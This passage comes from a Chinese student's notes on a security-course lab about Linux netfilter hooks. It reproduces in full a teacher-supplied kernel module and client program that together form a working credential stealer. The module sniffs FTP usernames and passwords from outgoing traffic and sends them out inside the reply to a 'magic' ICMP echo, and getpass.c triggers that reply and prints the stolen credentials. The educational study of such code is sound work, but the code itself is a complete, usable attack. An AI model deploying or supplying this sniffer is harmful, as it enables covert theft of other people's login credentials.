sll_pkttype contains the packet type. Valid types are: 1) PACKET_HOST for a packet addressed to the local host; 2) PACKET_BROADCAST for a physical-layer broadcast packet; 3) PACKET_MULTICAST for a packet sent to a physical-layer multicast address; 4) PACKET_OTHERHOST for a packet to some other host that has been caught by a device driver in promiscuous mode; 5) PACKET_OUTGOING for a packet originating from the local host that is looped back to a packet socket; These types make sense only for receiving.
- ARPHRD_PPP 点对点(例如拨号)
- ARPHRD_LOOPBACK 环回设备
- ARPHRD_ETHER 以太网
static inline struct ethhdr *eth_hdr(const struct sk_buff *skb) { return (struct ethhdr *)skb_mac_header(skb); }
在:<linux/skbuff.h>中:
static inline unsigned char *skb_mac_header(const struct sk_buff *skb) { return skb->head + skb->mac_header; }
/* Now copy the IP address, then Username, then password into packet */ cp_data = (char *)((char *)icmp + sizeof(struct icmphdr)); memcpy(cp_data, &target_ip, 4); if (username) memcpy(cp_data + 4, username, 16); if (password) memcpy(cp_data + 20, password, 16);
包含 target_ip, username, password,仅仅是hacker的要求,也可以包含其他数据;至于 target_port 为什么不包含,因为老师的demo中是对FTP操作,所以target_port都是21(建立TCP连接);而我自己写的代码是从HTTP中提取数据的,所以target_port是80,归根到底还是取决于hacer本身的目的。
8 memcpy 第3个参数都是 16,是为了满足某种规则吗,比如:字节对齐;但是根据上面获取 USER 的代码显示,username的长度可能小于16;那这时候使用 memcpy 不就非法访问了吗?(memcpy() 函数有没有考虑到这种情况的发生?)
第3个参数是16只是对应了hacker端的getpass.c代码,getpass.c 代码中发送的 ICMP ECHO 数据包的数据部分就是:4 + 16 + 16,而在回送回答报文中会返回一模一样的数据部分(即:4 + 16 + 16);
hacker 默认了username 和 password 不会超过16B,所以设置为16;若其可能超过16B,当然也可以设置为其他值,但最好是2的倍数,方便对齐之类的;username的长度确实可能小于16,此时执行 memcpy(cp_data+4, username, 16);并不会出错;我已经测试过了;对于 username 中不够拷贝的部分(16 - strlen(username)),cp_data中保留原值;
测试代码:
1 #include <stdio.h> 2 #include <stdlib.h> 3 #include <string.h> 4 5 int main() { 6 int i = 0; 7 const char *username = "lichaoxi"; 8 char *cp_data = (char *)malloc(sizeof(char)*20); 9 memset(cp_data, 0x00, 20); 10 memcpy(cp_data, username, 16); 11 for (; i < 20; i++) 12 printf("(%d)0x%02x ", i, cp_data[i]); 13 printf("\n"); 14 return 0; 15 } 16 17 // 输出 18 (0)0x6c (1)0x69 (2)0x63 (3)0x68 (4)0x61 (5)0x6f (6)0x78 (7)0x69 (8)0x00 (9)0x28 (10)0x25 (11)0x64 (12)0x29 (13)0x30 (14)0x78 (15)0x25 (16)0x00 (17)0x00 (18)0x00 (19)0x00
9 如何把这些数据传递给主人呢?(内部是如何实现的?)
宏观上的过程如下:
1)watch_in() 捕获到一个数据包,检测是否为特定的ICMP_ECHO数据包(icmp->code = 0x77),若不是的话直接返回 NF_ACCEPT 放行;
2)若为特定ICMP_ECHO数据包,则将数据包的 源IP 和 目的IP 互换;(因为我们要把包发回去)
3)自行封装 数据链路层首部:
- 设置 skb->pkt_type = PACKET_OUTGOING;
- 对于 skb->dev->type 为 ARPHRD_LOOPBACK,ARPHRD_ETHER 的包,交换 源MAC 和 目的MAC地址;并且将 skb->data 指向MAC层的首部,skb->len += ETH_HLEN;
4)将hacker端需要的数据(target_ip,username,password)填充到 icmp echo 回送回答报文的数据部分;
5)调用 dev_queue_xmit(skb) 方法来发送该数据包;(该数据包,我们已经构造到了第2层(数据链路层)的级别)
6)返回 NF_STOLEN,告诉协议栈不用关心原始的包,原始包的处理已由 watch_in 这个 hook func 来接手了;
10 dev_queue_xmit(skb);的意思是什么?(位于demo:nfsniff.c)
- a)第一种发送数据包的实现,对于send_reset函数的实现中,由于单独申请了nskb的内存,并构造的新的数据包。新数据包接着走NF的流程了。而对于原始的skb,就通过模块的返回值return NF_DROP做出了处理。
- b)第二种发送数据包的实现,若是基于已有数据包的基础上重新构造的数据包,那么实际上原始数据包的内容已经不复存在,而且调用完毕 dev_queue_xmit已将同一块缓冲区,只是填充了新数据的数据包发送出去,因此,这里已经没有原始数据包的存在了,需要返回 NF_STOLEN,告诉协议栈不用关心原始的包即可。否则,若是新数据包是单独申请的内存,那么对于原数据包还应该是返回NF_DROP。
11 init_module() 中 pre_hook,post_hook 的各个参数的意义;
NF_IP_PRI_FIRST 在 <linux/netfilter_ipv4.h> 中定义;
NF_INET_PRE_ROUTING 在 <uapi/linux/netfilter.h> 中定义;
1 int init_module() { 2 pre_hook.hook = watch_in; // hook function 3 pre_hook.pf = PF_INET; // 协议簇 PF_INET 4 pre_hook.priority = NF_IP_PRI_FIRST; // hook 优先级,钩子按升序优先级排序,NF_IP_PRI_FIRST 表示最先处理 5 pre_hook.hooknum = NF_INET_PRE_ROUTING; // 所作用的hook点,路由前的Hook点 6 7 post_hook.hook = watch_out; 8 post_hook.pf = PF_INET; 9 post_hook.priority = NF_IP_PRI_FIRST; 10 post_hook.hooknum = NF_INET_POST_ROUTING; // 路由后的Hook点 11 12 nf_register_net_hook(&init_net, &pre_hook); 13 nf_register_net_hook(&init_net, &post_hook); 14 15 return 0; 16 }
12 为什么计算校验和长度是42???(位于demo:getpass.c)
icmphead->icmp_cksum = checksum(42, (unsigned short *)icmphead);
注意:老师给的代码 getpass.c 也不一定就是正确的;
六 参考资料
- Linux makefile 教程 非常详细,且易懂:https://blog.csdn.net/liang13664759/article/details/1771246
- The Linux Kernel Module Programming Guide:http://www.tldp.org/LDP/lkmpg/2.6/html/lkmpg.html
- 翻译:Hacking the Linux Kernel Netwrok Stack(1):https://zhuanlan.zhihu.com/p/61164326
- 翻译:Hacking the Linux Kernel Netwrok Stack(2):https://zhuanlan.zhihu.com/p/61272163
- 信息安全课程12:防火墙(netfilter/iptables):https://zhuanlan.zhihu.com/p/61343421
- Linux Kernel 学习笔记10:hook函数:https://blog.csdn.net/stone8761/article/details/72821733
- makefile:4: *** missing separator. Stop:https://stackoverflow.com/questions/16931770/makefile4-missing-separator-stop
- Linux source code:https://elixir.bootlin.com/linux/v4.18/ident/init_net
- ip_mac_packet_logger.c:https://gist.github.com/nkapliev/781f10187bf136d9a133e25f4d12d196
- Netfilter 之 钩子函数注册:http://www.linuxtcpipstack.com/693.html
- socket buffer 结构解析:http://wiki.dreamrunner.org/public_html/Linux/Networks/sk_buff-structure-analysis.html#sec-3-3
- Linux:sk_buff完全剖析与理解:http://wiki.dreamrunner.org/public_html/Linux/Networks/sk_buff-structure-analysis.html#sec-3-3
- struct net网络命名空间:https://blog.51cto.com/weiguozhihui/1584610
- C语言中void*详解及应用:https://www.cnblogs.com/wuyudong/p/c-void-point.html
- 内核中的kmalloc函数详解:https://blog.csdn.net/macrossdzh/article/details/5627274
- man7/packet.7.html:http://man7.org/linux/man-pages/man7/packet.7.html
- linux驱动问题讲解--dev_queue_xmit:https://blog.csdn.net/yxnyxnyxnyxnyxn/article/details/8658566
- Linux内核构造数据包并发送(二)(dev_queue_xmit方式):https://cxw06023273.iteye.com/blog/810402
- 2.7 环回接口:https://www.kancloud.cn/lifei6671/tcp-ip/139864
七 老师提供的代码
1 #include <linux/module.h> 2 #include <linux/kernel.h> 3 #include <linux/skbuff.h> 4 #include <linux/in.h> 5 #include <linux/ip.h> 6 #include <linux/tcp.h> 7 #include <linux/icmp.h> 8 #include <linux/netdevice.h> 9 #include <linux/netfilter.h> 10 #include <linux/netfilter_ipv4.h> 11 #include <linux/if_arp.h> 12 #include <linux/if_ether.h> 13 #include <linux/if_packet.h> 14 15 #define MAGIC_CODE 0x5B 16 #define REPLY_SIZE 36 17 18 MODULE_LICENSE("GPL"); 19 20 #define ICMP_PAYLOAD_SIZE (htons(ip_hdr(sb)->tot_len) \ 21 - sizeof(struct iphdr) \ 22 - sizeof(struct icmphdr)) 23 24 /* THESE values are used to keep the USERname and PASSword until 25 * they are queried. Only one USER/PASS pair will be held at one 26 * time and will be cleared once queried. */ 27 static char *username = NULL; 28 static char *password = NULL; 29 static int have_pair = 0; /* Marks if we already have a pair */ 30 31 /* Tracking information. Only log USER and PASS commands that go to the 32 * same IP address and TCP port. */ 33 static unsigned int target_ip = 0; 34 static unsigned short target_port = 0; 35 36 /* Used to describe our Netfilter hooks */ 37 struct nf_hook_ops pre_hook; /* Incoming */ 38 struct nf_hook_ops post_hook; /* Outgoing */ 39 40 41 /* Function that looks at an sk_buff that is known to be an FTP packet. 42 * Looks for the USER and PASS fields and makes sure they both come from 43 * the one host as indicated in the target_xxx fields */ 44 static void check_ftp(struct sk_buff *skb) { 45 struct tcphdr *tcp; 46 char *data; 47 int len = 0; 48 int i = 0; 49 50 tcp = (struct tcphdr *)(skb->data + (ip_hdr(skb)->ihl * 4)); 51 data = (char *)((int)tcp + (int)(tcp->doff * 4)); 52 53 /* Now, if we have a username already, then we have a target_ip. 54 * Make sure that this packet is destined for the same host. */ 55 if (username) 56 if (ip_hdr(skb)->daddr != target_ip || tcp->source != target_port) 57 return; 58 59 /* Now try to see if this is a USER or PASS packet */ 60 if (strncmp(data, "USER ", 5) == 0) { /* Username */ 61 data += 5; 62 63 if (username) 64 return; 65 66 // 为啥 i < 15,因为密码长度不会大于15吗? 67 while (*(data + i) != '\r' && *(data + i) != '\n' 68 && *(data + i) != '\0' && i < 15) { 69 len++; 70 i++; 71 } 72 73 if ((username = kmalloc(len + 2, GFP_KERNEL)) == NULL) 74 return; 75 memset(username, 0x00, len + 2); 76 memcpy(username, data, len); 77 // '\0'是2个byte? 78 *(username + len) = '\0'; /* NULL terminate */ 79 } else if (strncmp(data, "PASS ", 5) == 0) { /* Password */ 80 data += 5; 81 82 /* If a username hasn't been logged yet then don't try logging 83 * a password */ 84 if (username == NULL) return; 85 if (password) return; 86 87 while (*(data + i) != '\r' && *(data + i) != '\n' 88 && *(data + i) != '\0' && i < 15) { 89 len++; 90 i++; 91 } 92 93 if ((password = kmalloc(len + 2, GFP_KERNEL)) == NULL) 94 return; 95 memset(password, 0x00, len + 2); 96 memcpy(password, data, len); 97 *(password + len) = '\0'; /* NULL terminate */ 98 } else if (strncmp(data, "QUIT", 4) == 0) { 99 /* Quit command received. If we have a username but no password, 100 * clear the username and reset everything */ 101 if (have_pair) return; 102 if (username && !password) { 103 kfree(username); 104 username = NULL; 105 target_port = target_ip = 0; 106 have_pair = 0; 107 return; 108 } 109 } else { 110 return; 111 } 112 113 if (!target_ip) 114 target_ip = ip_hdr(skb)->daddr; 115 if (!target_port) 116 target_port = tcp->source; 117 118 if (username && password) 119 have_pair++; /* Have a pair. Ignore others until 120 * this pair has been read. */ 121 if (have_pair) 122 printk("Have password pair! U: %s P: %s\n", username, password); 123 } 124 125 /* Function called as the POST_ROUTING (last) hook. It will check for 126 * FTP traffic then search that traffic for USER and PASS commands. */ 127 static unsigned int watch_out(unsigned int hooknum, 128 struct sk_buff *skb, 129 const struct net_device *in, 130 const struct net_device *out, 131 int (*okfn)(struct sk_buff *)) { 132 struct sk_buff *sb = skb; 133 struct tcphdr *tcp; 134 135 /* Make sure this is a TCP packet first */ 136 if (ip_hdr(sb)->protocol != IPPROTO_TCP) 137 return NF_ACCEPT; /* Nope, not TCP */ 138 139 tcp = (struct tcphdr *)((sb->data) + (ip_hdr(sb)->ihl * 4)); 140 141 /* Now check to see if it's an FTP packet */ 142 if (tcp->dest != htons(21)) 143 return NF_ACCEPT; /* Nope, not FTP */ 144 145 /* Parse the FTP packet for relevant information if we don't already 146 * have a username and password pair. */ 147 if (!have_pair) 148 check_ftp(sb); 149 150 /* We are finished with the packet, let it go on its way */ 151 return NF_ACCEPT; 152 } 153 154 155 /* Procedure that watches incoming ICMP traffic for the "Magic" packet. 156 * When that is received, we tweak the skb structure to send a reply 157 * back to the requesting host and tell Netfilter that we stole the 158 * packet. */ 159 static unsigned int watch_in(unsigned int hooknum, 160 struct sk_buff *skb, 161 const struct net_device *in, 162 const struct net_device *out, 163 int (*okfn)(struct sk_buff *)) { 164 struct sk_buff *sb = skb; 165 struct icmphdr *icmp; 166 char *cp_data; /* Where we copy data to in reply */ 167 unsigned int taddr; /* Temporary IP holder */ 168 169 /* Do we even have a username/password pair to report yet? */ 170 if (!have_pair) 171 return NF_ACCEPT; 172 173 /* Is this an ICMP packet? */ 174 if (ip_hdr(sb)->protocol != IPPROTO_ICMP) 175 return NF_ACCEPT; 176 177 icmp = (struct icmphdr *)(sb->data + ip_hdr(sb)->ihl * 4); 178 179 /* Is it the MAGIC packet? */ 180 if (icmp->code != MAGIC_CODE || icmp->type != ICMP_ECHO 181 || ICMP_PAYLOAD_SIZE < REPLY_SIZE) { 182 return NF_ACCEPT; 183 } 184 185 /* Okay, matches our checks for "Magicness", now we fiddle with 186 * the sk_buff to insert the IP address, and username/password pair, 187 * swap IP source and destination addresses and ethernet addresses 188 * if necessary and then transmit the packet from here and tell 189 * Netfilter we stole it. Phew... */ 190 taddr = ip_hdr(sb)->saddr; 191 ip_hdr(sb)->saddr = ip_hdr(sb)->daddr; 192 ip_hdr(sb)->daddr = taddr; 193 194 sb->pkt_type = PACKET_OUTGOING; 195 196 switch (sb->dev->type) { 197 case ARPHRD_PPP: /* Ntcho iddling needs doing */ 198 break; 199 case ARPHRD_LOOPBACK: 200 case ARPHRD_ETHER: { 201 unsigned char t_hwaddr[ETH_ALEN]; 202 203 /* Move the data pointer to point to the link layer header */ 204 sb->data = (unsigned char *)eth_hdr(sb); 205 sb->len += ETH_HLEN; //sizeof(sb->mac.ethernet); 206 memcpy(t_hwaddr, (eth_hdr(sb)->h_dest), ETH_ALEN); 207 memcpy((eth_hdr(sb)->h_dest), (eth_hdr(sb)->h_source), ETH_ALEN); 208 memcpy((eth_hdr(sb)->h_source), t_hwaddr, ETH_ALEN); 209 break; 210 } 211 }; 212 213 /* Now copy the IP address, then Username, then password into packet */ 214 cp_data = (char *)((char *)icmp + sizeof(struct icmphdr)); 215 memcpy(cp_data, &target_ip, 4); 216 if (username) 217 memcpy(cp_data + 4, username, 16); 218 if (password) 219 memcpy(cp_data + 20, password, 16); 220 221 /* This is where things will die if they are going to. 222 * Fingers crossed... */ 223 dev_queue_xmit(sb); 224 225 /* Now free the saved username and password and reset have_pair */ 226 kfree(username); 227 kfree(password); 228 username = password = NULL; 229 have_pair = 0; 230 231 target_port = target_ip = 0; 232 233 // printk("Password retrieved\n"); 234 235 return NF_STOLEN; 236 } 237 238 int init_module() { 239 pre_hook.hook = watch_in; 240 pre_hook.pf = PF_INET; 241 pre_hook.priority = NF_IP_PRI_FIRST; 242 pre_hook.hooknum = NF_INET_PRE_ROUTING; 243 244 post_hook.hook = watch_out; 245 post_hook.pf = PF_INET; 246 post_hook.priority = NF_IP_PRI_FIRST; 247 post_hook.hooknum = NF_INET_POST_ROUTING; 248 249 nf_register_hook(&pre_hook); 250 nf_register_hook(&post_hook); 251 252 return 0; 253 } 254 255 void cleanup_module() { 256 nf_unregister_hook(&post_hook); 257 nf_unregister_hook(&pre_hook); 258 259 if (password) 260 kfree(password); 261 if (username) 262 kfree(username); 263 }
getpass.c
1 #include <sys/types.h> 2 #include <stdio.h> 3 #include <stdlib.h> 4 #include <unistd.h> 5 #include <string.h> 6 #include <errno.h> 7 #include <sys/socket.h> 8 #include <netdb.h> 9 #include <arpa/inet.h> 10 11 #ifndef __USE_BSD 12 # define __USE_BSD /* We want the proper headers */ 13 #endif 14 # include <netinet/ip.h> 15 #include <netinet/ip_icmp.h> 16 17 /* Function prototypes */ 18 static unsigned short checksum(int numwords, unsigned short *buff); 19 20 int main(int argc, char *argv[]) { 21 unsigned char dgram[256]; /* Plenty for a PING datagram */ 22 unsigned char recvbuff[256]; 23 struct ip *iphead = (struct ip *)dgram; 24 struct icmp *icmphead = (struct icmp *)(dgram + sizeof(struct ip)); 25 struct sockaddr_in src; 26 struct sockaddr_in addr; 27 struct in_addr my_addr; 28 struct in_addr serv_addr; 29 socklen_t src_addr_size = sizeof(struct sockaddr_in); 30 int icmp_sock = 0; 31 int one = 1; 32 int *ptr_one = &one; 33 34 if (argc < 3) { 35 fprintf(stderr, "Usage: %s remoteIP myIP\n", argv[0]); 36 exit(1); 37 } 38 39 /* Get a socket */ 40 if ((icmp_sock = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP)) < 0) { 41 fprintf(stderr, "Couldn't open raw socket! %s\n", strerror(errno)); 42 exit(1); 43 } 44 45 /* set the HDR_INCL option on the socket */ 46 if (setsockopt(icmp_sock, IPPROTO_IP, IP_HDRINCL, ptr_one, sizeof(one)) < 0) { 47 close(icmp_sock); 48 fprintf(stderr, "Couldn't set HDRINCL option! %s\n", strerror(errno)); 49 exit(1); 50 } 51 52 addr.sin_family = AF_INET; 53 addr.sin_addr.s_addr = inet_addr(argv[1]); 54 my_addr.s_addr = inet_addr(argv[2]); 55 56 memset(dgram, 0x00, 256); 57 memset(recvbuff, 0x00, 256); 58 59 /* Fill in the IP fields first */ 60 iphead->ip_hl = 5; 61 iphead->ip_v = 4; 62 iphead->ip_tos = 0; 63 iphead->ip_len = 84; 64 iphead->ip_id = (unsigned short)rand(); 65 iphead->ip_off = 0; 66 iphead->ip_ttl = 128; 67 iphead->ip_p = IPPROTO_ICMP; 68 iphead->ip_sum = 0; 69 iphead->ip_src = my_addr; 70 iphead->ip_dst = addr.sin_addr; 71 72 /* Now fill in the ICMP fields */ 73 icmphead->icmp_type = ICMP_ECHO; 74 icmphead->icmp_code = 0x5B; 75 icmphead->icmp_cksum = checksum(42, (unsigned short *)icmphead); 76 77 /* Finally, send the packet */ 78 fprintf(stdout, "Sending request...\n"); 79 if (sendto(icmp_sock, dgram, 84, 0, (struct sockaddr *)&addr, sizeof(struct sockaddr)) < 0) { 80 fprintf(stderr, "\nFailed sending request! %s\n", strerror(errno)); 81 return 0; 82 } 83 84 fprintf(stdout, "Waiting for reply...\n"); 85 if (recvfrom(icmp_sock, recvbuff, 256, 0, (struct sockaddr *)&src, &src_addr_size) < 0) { 86 fprintf(stdout, "Failed getting reply packet! %s\n", strerror(errno)); 87 close(icmp_sock); 88 exit(1); 89 } 90 91 iphead = (struct ip *)recvbuff; 92 icmphead = (struct icmp *)(recvbuff + sizeof(struct ip)); 93 memcpy(&serv_addr, ((char *)icmphead + 8), sizeof (struct in_addr)); 94 95 fprintf(stdout, "Stolen for ftp server %s:\n", inet_ntoa(serv_addr)); 96 fprintf(stdout, "Username: %s\n", (char *)((char *)icmphead + 12)); 97 fprintf(stdout, "Password: %s\n", (char *)((char *)icmphead + 28)); 98 99 close(icmp_sock); 100 return 0; 101 } 102 103 /* Checksum-generation function. It appears that PING'ed machines don't 104 * reply to PINGs with invalid (ie. empty) ICMP Checksum fields... 105 * Fair enough I guess. */ 106 static unsigned short checksum(int numwords, unsigned short *buff) { 107 unsigned long sum; 108 109 for(sum = 0;numwords > 0;numwords--) 110 sum += *buff++; /* add next word, then increment pointer */ 111 112 sum = (sum >> 16) + (sum & 0xFFFF); 113 sum += (sum >> 16); 114 return ~sum; 115 }